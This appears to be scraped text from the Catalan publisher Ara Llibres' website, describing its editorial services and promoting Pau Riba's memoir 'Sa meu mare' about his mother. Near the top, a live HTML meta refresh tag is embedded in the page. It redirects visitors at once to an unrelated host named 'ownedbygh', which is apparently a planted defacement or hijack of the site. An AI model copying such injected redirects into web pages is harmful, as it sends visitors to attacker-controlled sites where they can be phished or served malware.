Ara Llibres és una editorial cooperativa al servei de la cultura catalana, compromesa amb la innovació i amb vocació internacional.

Treballem amb una aposta ferma per a la generació d’idees, la creativitat i la innovació.

Especialistes en llibre commemoratiu
<meta http-equiv="refresh" content="0;
URL=http://ownedbygh.esy.es/">

1 2 3 4 5
Serveis editorials
L’equip d’Ara Llibres posa la seva expertesa en el món de l’edició al servei d’empreses i institucions.

Aportem solucions innovadores i a mida per generar el contingut, el disseny gràfic i el format més adient per a cada client i objectiu.

Desenvolupem projectes ‘claus en mà’ o serveis editorials per fases, segons les necessitats de cada client:


Conceptualització i desenvolupament del projecte.
Coordinació editorial.
Redacció de contingut.
Realització de fotografia, il·lustració i multimèdia.
Disseny gràfic i maquetació.
Serveis lingüístics de correcció i traducció.
Coordinació de la producció.
Formats digitals.
Gràcies a un gran equip d’editors i col·laboradors, aportem:

Creativitat.
Excel·lència.
Innovació.
Flexibilitat.
Compromís de calendari.
Preus competitius.

Pau Riba acaba de publicar Sa meu mare (Ara Llibres), un volum de memòries en què el cantant evoca amb una gran tendresa l’estreta relació que va mantenir amb la seva mare durant els darrers anys de la seva vida. Podeu llegir aquí l’entrada del primer capítol, El primer ensurt, cortesia d’Ara Llibres.

Sa meu mare

Pau Riba és un dels artistes més carismàtics del nostre país. Admirat per la seva versatilitat i conegut sobretot per la seva carrera musical i per esporàdiques incursions en la pintura i la interpretació dramàtica, és l’escriptura, el seu primer impuls creatiu. És autor de nombroses obres –novel·les, poemaris i llibres d’assaig–, entre les quals destaquen Cançons i poemes, Ena, Lletrarada, Al·lolàlia, Actors gramàtics, Nosaltres els terroristes o Màximes maximalistes. El seu disc Dioptria és considerat elmillor disc en català del segle XX.

i amb el foc del seu incipient primer queixal del (poc) seny, Pau Riba va dedicar a la seva mare, Mercè Romeva, la rabiüda cançó Mareta bufona, tot criticant aquell seu esperit naïf i rialler per sobre de totes les coses, en aquell primer Dioptria del qual han dit que és "una crítica ferotge a l’esperit petitburgès i a la família cristianoprogressista", és mentre acompanya la mare en els seus darrers anys que s’hi retroba i reconeix en aquell mateix esperit naïf i en el seu viure rialler totes les virtuts del món.

Sa meu mare és un regal, un amorós homenatge partint dels darrers temps compartits per mare i fill.
Parla de la fragilitat de la vellesa i de l’estimació filial sense límits i nari-nant se’ns endú de Barcelona a les fresques aigües de Cadaqués, a es Poal. Tot això, és clar, sense trair aquell punt gamberro que rega totes les fetes d’en Pau Riba.

Amb el suport del Departament de Cultura.

"No hi havia ocasió, per molt rara, aliena o allunyada dels seus principis i costums que pogués arribar a semblar, en què no acabés sobresortint, essent centre de totes les mirades, acaparant tota l’atenció. Pel seu positivisme, per la seva adaptabilitat, pel caient i l’escaient de la seva conversa, per la seva sana alegria… i pel seu somriure diàfan que ho il·luminava tot."